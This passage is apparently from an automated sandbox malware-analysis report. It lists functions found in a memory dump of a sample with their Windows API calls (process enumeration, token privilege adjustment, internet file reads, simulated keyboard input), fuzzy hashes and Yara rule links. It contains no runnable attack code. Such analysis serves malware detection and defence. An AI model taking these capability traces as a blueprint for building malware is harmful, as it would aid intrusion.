Function 00007FF73A24BE00 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF73A24BE3B
Process32FirstW.KERNEL32 ref: 00007FF73A24BE4B
CloseHandle.KERNEL32 ref: 00007FF73A24BF55

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 7d0614c687471f8f56d90fca436f6d5e63647f58946659d2de1ab8f7fc1a559c
Instruction ID: 2ba9981e6e8e08f9268f947741ebb29365acc81f8a68865ebd36f6654f9d45f0
Opcode Fuzzy Hash: 7d0614c687471f8f56d90fca436f6d5e63647f58946659d2de1ab8f7fc1a559c
Instruction Fuzzy Hash: FA418E2AA18A92A5FB10FB61E4821BEB374FB84B84FD44072FA4E43655DF7CE505E710

Function 00007FF73A1F02C4 Relevance: 5.7, Strings: 2, Instructions: 3180COMMON

Download Yara Rule

Strings

x, xrefs: 00007FF73A1F0D61
DEFINE, xrefs: 00007FF73A234A98

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: DEFINE$x
API String ID: 0-4035502692
Opcode ID: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction ID: 53dbc4195e1a44f3de39780255e194aa6e4eca5d8b3c1a7650e09a9ba3ecf9b5
Opcode Fuzzy Hash: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction Fuzzy Hash: 0953AC3AF046929AF760DF25C4416BC77A1FB85B88F908176CE4D57B84EB3AE841E710

Function 00007FF73A1E3C20 Relevance: 5.3, APIs: 3, Instructions: 832COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF73A1E4F51

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 60f9666ca451ed35fe8ab7f9d9e10171ddfa37ac04d0aa9f8a10e9c9a443c8f8
Instruction ID: 8d86efe83e4384bc60b79a32ac2da8ad0938f3a4a85a96a3f90ac81cc929433b
Opcode Fuzzy Hash: 60f9666ca451ed35fe8ab7f9d9e10171ddfa37ac04d0aa9f8a10e9c9a443c8f8
Instruction Fuzzy Hash: E382923AA08A42A6FB54EF15E446A79B3B4FBA4B84F904071DA4E47794DF3DE441F320

Function 00007FF73A1F0E90 Relevance: 4.9, Strings: 3, Instructions: 1176COMMON

Download Yara Rule

Strings

[, xrefs: 00007FF73A1F0F40
, xrefs: 00007FF73A236C9D
\, xrefs: 00007FF73A1F0F67

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: $[$\
API String ID: 0-3681541464
Opcode ID: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
Instruction ID: 6a9344bf76e845553065b594ecdfed420ce63de5e1457b448b2434ec79b022f8
Opcode Fuzzy Hash: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
Instruction Fuzzy Hash: 2EB2CE3AF056929AFB64DF65C4416AC77B1FB46748F904176CE0D57B88EB39E800EB10

Function 00007FF73A201750 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF73A2017DB

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction ID: 65a5dedb86ccfe9c7e4a319d136df8c419b5596c0e6aa2eac76e8d6e41c2709b
Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction Fuzzy Hash: C1D1C436B1828697EB24DF15E18566AF7A1FBC8784F948134DB8E53B44DB3CE941EB00

Function 00007FF73A256428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF73A256464
FindNextFileW.KERNEL32 ref: 00007FF73A2564B9
FindClose.KERNEL32 ref: 00007FF73A2564FB

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction ID: 1a3adbfdd298b4e85125e58d8150160ff5850bec1d5345388067466c4fce98a2
Opcode Fuzzy Hash: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
Instruction Fuzzy Hash: 0851AD7A608A42A5EB14EF25E0812ACF760FB84B94F844272DF5E437A5CF3CD550E710

Function 00007FF73A23D408 Relevance: 4.6, APIs: 3, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A23CB58: GetTokenInformation.ADVAPI32 ref: 00007FF73A23CB8A
Part of subcall function 00007FF73A23CB58: GetLastError.KERNEL32 ref: 00007FF73A23CB96
Part of subcall function 00007FF73A23CB58: GetProcessHeap.KERNEL32 ref: 00007FF73A23CBA3
Part of subcall function 00007FF73A23CB58: HeapAlloc.KERNEL32 ref: 00007FF73A23CBB2
Part of subcall function 00007FF73A23CB58: GetTokenInformation.ADVAPI32 ref: 00007FF73A23CBD1

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF73A23D46A
GetProcessHeap.KERNEL32 ref: 00007FF73A23D4BE
HeapFree.KERNEL32 ref: 00007FF73A23D4CC

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue
String ID:
API String ID: 1766415185-0
Opcode ID: bd9ee305005d20edf5c11873021be34db603942109d79114471410cc239d0158
Instruction ID: 9b25d620effe1d808b1d86c19749329aa0516672df112ba643a89cd642b07c2c
Opcode Fuzzy Hash: bd9ee305005d20edf5c11873021be34db603942109d79114471410cc239d0158
Instruction Fuzzy Hash: BD21217BA08A11A6FB10EF11E4062AAA7A5FB88B84FC64531CF5D03280CF3DE445E360

Function 00007FF73A24BF80 Relevance: 4.6, APIs: 3, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF73A24BFB1
DeviceIoControl.KERNEL32 ref: 00007FF73A24C01C
CloseHandle.KERNEL32 ref: 00007FF73A24C027

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: c1a660ba6107f8f40afc549c60c0281f1e634fa1b65154c4abfb297250e0dda3
Instruction ID: 21af695ecbe90b0ba605252ca09e2c823016fe489a5fc1b8cad67d1b7a3e1f3d
Opcode Fuzzy Hash: c1a660ba6107f8f40afc549c60c0281f1e634fa1b65154c4abfb297250e0dda3
Instruction Fuzzy Hash: C8219D776187809BE3508F15E08939AB7A4F385BA0F508235DB9C43B98DF7CC859DB40

Function 00007FF73A212F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

., xrefs: 00007FF73A213198

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
Instruction ID: 43996ecaf2f1f3d57b0cda56ce2bd2f0cf055da5bed5d9232d9a2c62bf464208
Opcode Fuzzy Hash: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
Instruction Fuzzy Hash: 02313819B1469165FB70AF229C06AB6E691FB90BE4F948631FE5D07BC4DE3CD401A710

Function 00007FF73A2167F0 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF73A216A3D
RaiseException.KERNEL32 ref: 00007FF73A216A4E

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
Instruction ID: 96bce782cafbf1c23049be70385253116f52c0c9a6f32d1776f2ddf7e371a443
Opcode Fuzzy Hash: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
Instruction Fuzzy Hash: 59B17B77600B888BEB19DF29C84636C7BA0F784B48F598861DB9D837A4CB3DD451E710

Function 00007FF73A25E968 Relevance: 3.1, APIs: 2, Instructions: 97networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET ref: 00007FF73A25E99D
InternetReadFile.WININET ref: 00007FF73A25E9E6

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: a54c6d4a74e6411871131af3bdbcf589181ad988d0891215d2ce77e29c03cb3f
Instruction ID: 70a84769c891ccd41716bebcd8da0439fffc285760b343d5e598f7a77b26b157
Opcode Fuzzy Hash: a54c6d4a74e6411871131af3bdbcf589181ad988d0891215d2ce77e29c03cb3f
Instruction Fuzzy Hash: 0831D07AB08A0296FF18EE36D4527B8A3A1FBC4BC8F904435DE0D47B98DE38D441A310

Function 00007FF73A2571F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF73A257227
FindClose.KERNEL32 ref: 00007FF73A25726A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction ID: d3d693524a8f623c7c89a6584e4d7a5d5107a19d7bd9c9a85c24b153730ecd79
Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction Fuzzy Hash: BB117C76B0874196EB00EF26E08536CB760FB98BA0F458671EA6D47B91CF7CD4519710

Function 00007FF73A253778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF73A267AD2), ref: 00007FF73A25379A
FormatMessageW.KERNEL32 ref: 00007FF73A2537C9

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
Instruction ID: f22020b5d3a7b0e4997659e743748863f1b6b90408033382f3e3b864c7619b6e
Opcode Fuzzy Hash: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
Instruction Fuzzy Hash: A0F0C866A08642A5F7206B15F84166AF7A5FFC97D4F905134FB9D43B99DE3CC004AB10

Function 00007FF73A23CCE0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32 ref: 00007FF73A23CD07
CloseHandle.KERNEL32 ref: 00007FF73A23CD1F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
Instruction ID: a012bff2d61e5a49f8384bd08278358037bd1fe4886e817af369ee578057e1e1
Opcode Fuzzy Hash: 2696843c0c1c48d019296e0beaf727179f08331fefa667d0a626b5bdda81ebd6
Instruction Fuzzy Hash: 2DF0E56AA18A4682FB50EB21E4163B89360FBDCF88F601531CF0D47754CF3CC086B220

Function 00007FF73A1FC3FC Relevance: 2.7, Strings: 2, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF73A1FC5B3
0x%p, xrefs: 00007FF73A1FC40B

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0x%p
API String ID: 3215553584-2479247192
Opcode ID: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction ID: f5f9040080968d670f0f7d56e3c10e7db1353adef07033c01c59c55683534209
Opcode Fuzzy Hash: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction Fuzzy Hash: 8E814A19B1E28362FA64AA15A04A5BDA3F0EF40744FD417B1DF0D876A5CF2DE802F720

Function 00007FF73A1E0E70 Relevance: 1.9, Strings: 1, Instructions: 680COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00007FF73A22BA13

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.
API String ID: 0-1840281001
Opcode ID: 085062051d8c6d05dddc6329c8930327e2f409664b9aa2ab8e8b8fd8cd37859f
Instruction ID: 4c1b4c3f8a78f8ba34b84132f015717dd40910522af2bdbe2958364ef672e718
Opcode Fuzzy Hash: 085062051d8c6d05dddc6329c8930327e2f409664b9aa2ab8e8b8fd8cd37859f
Instruction Fuzzy Hash: EE52833AA08642AAFB50EF60D0426FCA3B1EB65788FD041B1DE0D57695DF38E545F360

Function 00007FF73A1EFA4F Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

no error, xrefs: 00007FF73A233953

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: no error
API String ID: 0-1106124726
Opcode ID: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction ID: 1129287c7e5884f646f0044744d4bfca8057134b590c24db7048695e3ba0a939
Opcode Fuzzy Hash: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction Fuzzy Hash: 1F12DC7AA087819AF724DF25E4416ADB3B1FB44788B908135EE4E47B94DB38EA40E710

Function 00007FF73A24DC1C Relevance: 1.6, APIs: 1, Instructions: 124timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00007FF73A24DC4A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 43d34cb52622ca6b40e86063685fd79a303f7b62810161daa31da2e35dc37d7b
Instruction ID: 581ed40d9bd86c6851ca0f0f6047a0f631b2b87e1250de8eb755caeb0a4a33d1
Opcode Fuzzy Hash: 43d34cb52622ca6b40e86063685fd79a303f7b62810161daa31da2e35dc37d7b
Instruction Fuzzy Hash: 80419F5AB55792A0FA04EF21E4020FDA3B0BF90B80B859976DF1D17B95EE3CE115E321

Function 00007FF73A249420 Relevance: 1.5, APIs: 1, Instructions: 26keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32 ref: 00007FF73A249465

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction ID: 86945770ffce67cab1933ca56a275198cf25bee5932319e600c54eed580eae7d
